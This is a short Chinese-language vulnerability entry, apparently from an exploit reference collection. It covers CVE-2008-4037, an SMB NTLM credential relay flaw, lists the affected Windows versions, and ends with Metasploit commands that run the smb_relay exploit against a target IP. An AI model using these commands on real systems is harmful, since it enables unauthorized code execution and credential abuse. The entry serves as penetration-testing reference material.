### CVE-2008-4037

#### 描述

通过远程SMB服务器可以重播客户端用户的NTLM凭据在客户端计算机上执行任意代码

#### 影响版本

| Product             | CPU Architecture | Version | Update | Tested             |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows XP          |                  |         | SP2    |                    |
| Windows XP          |                  |         | SP3    |                    |
| Windows Server 2003 |                  |         | SP1    |                    |
| Windows Server 2003 |                  |         | SP2    | &#10004; |
| Windows 2000        |                  |         | SP4    |                    |
| Windows Server 2008 | X64/X86          |         |        |                    |
| Windows Vista       |                  |         | SP1    |                    |
| Windows Vista       |                  |         |        |                    |

#### 利用方式

使用msf 测试系统Windows Server 2003 SP2 x86

```
use exploit/windows/smb/smb_relay
set SMBHOST 192.168.1.14 #目标IP
run
```

![image-20200823142846532](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2008-4037_win2003_x86_msf.png)

